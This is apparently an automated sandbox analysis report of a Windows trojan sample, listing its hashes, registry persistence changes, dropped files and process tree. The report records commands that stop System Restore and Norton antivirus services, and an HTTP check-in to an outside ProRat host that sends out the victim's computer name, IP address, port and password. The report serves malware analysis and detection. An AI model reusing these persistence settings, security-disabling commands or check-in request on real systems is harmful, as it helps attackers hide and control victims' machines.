Analysis
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max time kernel
149s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
26/07/2024, 08:54 UTC
Static task
static1
Behavioral task
behavioral1
Sample
735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe
Resource
win7-20240705-en
General
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Target
735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe
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Size
2.5MB
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MD5
735f2f3c0d78551946debbaae311ac44
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SHA1
0fbac06cea353237b488decd7fb172d8a4fdd1e6
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SHA256
79525c2360d5eb5b817a6ae852ab1daeb3de171f1fb04c3f67cc62b0cf78765e
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SHA512
556f89b7a61acf5226e5cc5845d146aff96d9f9e8ac8c6c7d53846c29d0679f24c5c0d4cf2e5bab70c2de3eb7472e43eec14953140bd8787a3a3f49bb1a84995
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SSDEEP
49152:Mr1rcdfkbfLxGETDBIpnsZffVzTSXTkurhjDm8tcGU:UhuMjFVTK6SXTZtmmcGU
Malware Config
Signatures
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Modifies WinLogon for persistence 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe C:\\Windows\\system32\\fservice.exe" services.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe C:\\Windows\\system32\\fservice.exe" 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe -
Adds policy Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DirectX For Microsoft® Windows = "C:\\Windows\\system32\\fservice.exe" 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run services.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DirectX For Microsoft® Windows = "C:\\Windows\\system32\\fservice.exe" services.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 5 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\ 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\StubPath = "C:\\Windows\\system\\sservice.exe" 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\ services.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\StubPath = "C:\\Windows\\system\\sservice.exe" services.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y} 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe -
Deletes itself 1 IoCs
pid Process 2248 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 2072 fservice.exe 1288 services.exe -
Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Wine 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Key opened \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Wine fservice.exe Key opened \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Wine services.exe -
Loads dropped DLL 6 IoCs
pid Process 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 1288 services.exe 1288 services.exe 2072 fservice.exe 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe -
Modifies WinLogon 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\ 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\ services.exe -
Drops file in System32 directory 7 IoCs
description ioc Process File created C:\Windows\SysWOW64\winkey.dll services.exe File created C:\Windows\SysWOW64\reginv.dll services.exe File created C:\Windows\SysWOW64\fservice.exe services.exe File created C:\Windows\SysWOW64\fservice.exe 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe File opened for modification C:\Windows\SysWOW64\fservice.exe 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe File created C:\Windows\SysWOW64\fservice.exe fservice.exe File opened for modification C:\Windows\SysWOW64\fservice.exe fservice.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 2072 fservice.exe 1288 services.exe -
Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\system\sservice.exe 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe File opened for modification C:\Windows\system\sservice.exe 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe File created C:\Windows\services.exe fservice.exe File opened for modification C:\Windows\services.exe fservice.exe File created C:\Windows\system\sservice.exe fservice.exe File opened for modification C:\Windows\system\sservice.exe fservice.exe File created C:\Windows\system\sservice.exe services.exe File opened for modification C:\Windows\system\sservice.exe services.exe -
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language services.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NET.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NET.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 2072 fservice.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe 1288 services.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1288 services.exe 1288 services.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1940 wrote to memory of 2072 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 30 PID 1940 wrote to memory of 2072 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 30 PID 1940 wrote to memory of 2072 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 30 PID 1940 wrote to memory of 2072 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 30 PID 2072 wrote to memory of 1288 2072 fservice.exe 31 PID 2072 wrote to memory of 1288 2072 fservice.exe 31 PID 2072 wrote to memory of 1288 2072 fservice.exe 31 PID 2072 wrote to memory of 1288 2072 fservice.exe 31 PID 1288 wrote to memory of 2236 1288 services.exe 32 PID 1288 wrote to memory of 2236 1288 services.exe 32 PID 1288 wrote to memory of 2236 1288 services.exe 32 PID 1288 wrote to memory of 2236 1288 services.exe 32 PID 1288 wrote to memory of 1792 1288 services.exe 33 PID 1288 wrote to memory of 1792 1288 services.exe 33 PID 1288 wrote to memory of 1792 1288 services.exe 33 PID 1288 wrote to memory of 1792 1288 services.exe 33 PID 1940 wrote to memory of 2248 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 36 PID 1940 wrote to memory of 2248 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 36 PID 1940 wrote to memory of 2248 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 36 PID 1940 wrote to memory of 2248 1940 735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe 36 PID 2236 wrote to memory of 2928 2236 NET.exe 38 PID 2236 wrote to memory of 2928 2236 NET.exe 38 PID 2236 wrote to memory of 2928 2236 NET.exe 38 PID 2236 wrote to memory of 2928 2236 NET.exe 38 PID 1792 wrote to memory of 2012 1792 NET.exe 39 PID 1792 wrote to memory of 2012 1792 NET.exe 39 PID 1792 wrote to memory of 2012 1792 NET.exe 39 PID 1792 wrote to memory of 2012 1792 NET.exe 39
Processes
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C:\Users\Admin\AppData\Local\Temp\735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe"1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Identifies Wine through registry keys
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\fservice.exeC:\Windows\system32\fservice.exe2⤵
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\services.exeC:\Windows\services.exe -XP3⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\SysWOW64\NET.exeNET STOP srservice4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 STOP srservice5⤵
- System Location Discovery: System Language Discovery
PID:2928
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C:\Windows\SysWOW64\NET.exeNET STOP navapsvc4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 STOP navapsvc5⤵
- System Location Discovery: System Language Discovery
PID:2012
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C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\735f2f3c0d78551946debbaae311ac44_JaffaCakes118.exe.bat2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
PID:2248
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Network
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Remote address:8.8.8.8:53Requesttotonkg.tripod.comIN AResponsetotonkg.tripod.comIN CNAMEmembers.tripod.commembers.tripod.comIN CNAMEwebpub-https-proxy.bo3.lycos.comwebpub-https-proxy.bo3.lycos.comIN A209.202.252.105
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GEThttp://totonkg.tripod.com/cgi-bin/prorat.cgi?bilgisayaradi=RPXOCQRF&ipadresi=10.127.0.191&serverportu=5110&kurban=toto&servermodeli=V1.9:Fix-18&serversaati=9:05:13_AM&servertarihi=7/26/2024&serversifre=5555&islem=logservices.exeRemote address:209.202.252.105:80RequestGET http://totonkg.tripod.com/cgi-bin/prorat.cgi?bilgisayaradi=RPXOCQRF&ipadresi=10.127.0.191&serverportu=5110&kurban=toto&servermodeli=V1.9:Fix-18&serversaati=9:05:13_AM&servertarihi=7/26/2024&serversifre=5555&islem=log HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: totonkg.tripod.com
Connection: Keep-Alive
ResponseHTTP/1.1 302 Moved Temporarily
Date: Fri, 26 Jul 2024 09:05:14 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://totonkg.tripod.com/cgi-bin/prorat.cgi?bilgisayaradi=RPXOCQRF&ipadresi=10.127.0.191&serverportu=5110&kurban=toto&servermodeli=V1.9:Fix-18&serversaati=9:05:13_AM&servertarihi=7/26/2024&serversifre=5555&islem=log
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209.202.252.105:80http://totonkg.tripod.com/cgi-bin/prorat.cgi?bilgisayaradi=RPXOCQRF&ipadresi=10.127.0.191&serverportu=5110&kurban=toto&servermodeli=V1.9:Fix-18&serversaati=9:05:13_AM&servertarihi=7/26/2024&serversifre=5555&islem=loghttpservices.exe745 B 1.3kB 6 5
HTTP Request
GET http://totonkg.tripod.com/cgi-bin/prorat.cgi?bilgisayaradi=RPXOCQRF&ipadresi=10.127.0.191&serverportu=5110&kurban=toto&servermodeli=V1.9:Fix-18&serversaati=9:05:13_AM&servertarihi=7/26/2024&serversifre=5555&islem=logHTTP Response
302
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
1Winlogon Helper DLL
2Privilege Escalation
Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
1Winlogon Helper DLL
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
133B
MD54d4fb82ea4c84b3b5a20f5004d2058ed
SHA1deac0a4009c1a69656a0681c2ddfa37b09d3c5ff
SHA256257efb98c2a600a64d6c0ffcbfb20b3ebaa58e368e2bfe4b1df4818403aba44d
SHA512e997e7eb615807dac7065049434d637c8000e3acde3d03fe9cec87104b125828c6afc472d77e48fe165c5bb949b6f5c734e8654c8124594da40af97fa191c5d2
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Filesize
2.5MB
MD5735f2f3c0d78551946debbaae311ac44
SHA10fbac06cea353237b488decd7fb172d8a4fdd1e6
SHA25679525c2360d5eb5b817a6ae852ab1daeb3de171f1fb04c3f67cc62b0cf78765e
SHA512556f89b7a61acf5226e5cc5845d146aff96d9f9e8ac8c6c7d53846c29d0679f24c5c0d4cf2e5bab70c2de3eb7472e43eec14953140bd8787a3a3f49bb1a84995
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Filesize
36KB
MD5d4a3f90e159ffbcbc4f9740de4b7f171
SHA10542f5d1e2c23dca8d90766b3a8537dc3880e5c9
SHA2562200dd5f83d2fb8c5d3994206a4fa9ff34b4cbfe56ed39a9a03c954cf45d8f77
SHA5125493beb50b5f7d8ec52f32718d01696916ae173456005d0c1294ce695161ce5004aff58ee3892bf5db0f9b23720146a6d3ae8ffbcbbd81f84d894fdc8cf75a94
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Filesize
24KB
MD543e7d9b875c921ba6be38d45540fb9dd
SHA1f22a73fc0d4aa3ea6c0b8f61d974b028f308acc4
SHA256f1b2b0abe844e6ba812c7f8709a463a7f6c56fa6ac38d376a0739cc3469f795b
SHA5122e74e23c0875b69b82319391c392132f28f4eb45aa412805130382498ae48969a06a2b3a7528b626fa7d7ddb6b006f19f0ef8d73cf73cb9a0c0df44a21077622